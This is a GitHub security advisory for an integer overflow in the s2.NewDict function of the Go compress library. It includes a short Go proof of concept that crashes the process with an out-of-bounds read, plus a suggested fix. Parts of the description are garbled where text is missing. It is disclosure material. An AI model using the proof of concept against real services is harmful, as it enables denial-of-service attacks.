GitHub Advisoryadvisory · Go

GHSA-259r-337f-4rfw Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

HIGH Published 2026-10-20 Modified 2026-10-20 Official page ↗
Aliases
CVE-2026-63209
Ecosystem
Go
Packages
github.com/klauspost/compress
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-190, CWE-787
Reviewed
2026-10-20

Affected packages

• Go github.com/klauspost/compress: < 1.18.7 → fixed in 1.18.7

Description

Signed Integer Overflow in s2.NewDict Summary A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV. Package • Name: `github.com/klauspost/compress/s2` • Ecosystem: Go • Affected versions: len(dict) { return nil } ``` When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed. When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`: ```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ``` `load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking: ```go func Load32I Indexer uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ``` This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced. PoC ```go package main import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" ) func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation) src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ``` Impact • Denial of Service: The process crashes immediately with SIGSEGV Attack Vector Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes Suggested Fix Validate the uvarint value before converting to int: ```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ``` Or use `uint` for the repeat field and validate against `uint(len(dict))`. References • Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) • Commit: 539243b (v1.18.6 + 4 commits) Credits Christopher Linke / https://github.com/celinke97/

Related

Alias · CVE (1)

  • CVE-2026-63209 compress provides various compression algorithms. vulnerability

Weakness · CWE (2)

  • CWE-190 Integer Overflow or Wraparound weakness
  • CWE-787 Out-of-bounds Write weakness

References